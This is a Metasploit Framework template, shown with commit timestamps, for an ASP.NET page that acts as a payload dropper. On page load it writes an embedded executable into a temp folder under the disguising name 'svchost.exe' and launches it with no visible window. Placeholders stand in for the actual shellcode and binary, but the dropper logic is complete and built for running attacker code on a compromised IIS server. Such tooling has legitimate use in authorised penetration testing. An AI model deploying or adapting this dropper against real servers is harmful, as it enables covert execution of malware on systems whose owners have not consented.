metasploit-framework/data/templates/scripts/to_exe.aspx.template

31 lines
867 B
Plaintext
Raw Normal View History

2013-08-23 16:09:51 +00:00
<%%@ Page Language="C#" AutoEventWireup="true" %%>
<%%@ Import Namespace="System.IO" %%>
2013-08-20 23:52:58 +00:00
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
2013-08-23 16:09:51 +00:00
%{shellcode}
2013-08-20 23:52:58 +00:00
string %{var_tempdir} = Path.GetTempPath();
string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
Directory.CreateDirectory(%{var_basedir});
FileStream fs = File.Create(%{var_tempexe});
try
{
2013-08-23 16:22:33 +00:00
fs.Write(%{var_file}, 0, %{var_file}.Length);
2013-08-20 23:52:58 +00:00
}
finally
{
if (fs != null) ((IDisposable)fs).Dispose();
}
System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process();
%{var_proc}.StartInfo.CreateNoWindow = true;
%{var_proc}.StartInfo.UseShellExecute = true;
%{var_proc}.StartInfo.FileName = %{var_tempexe};
%{var_proc}.Start();
}
</script>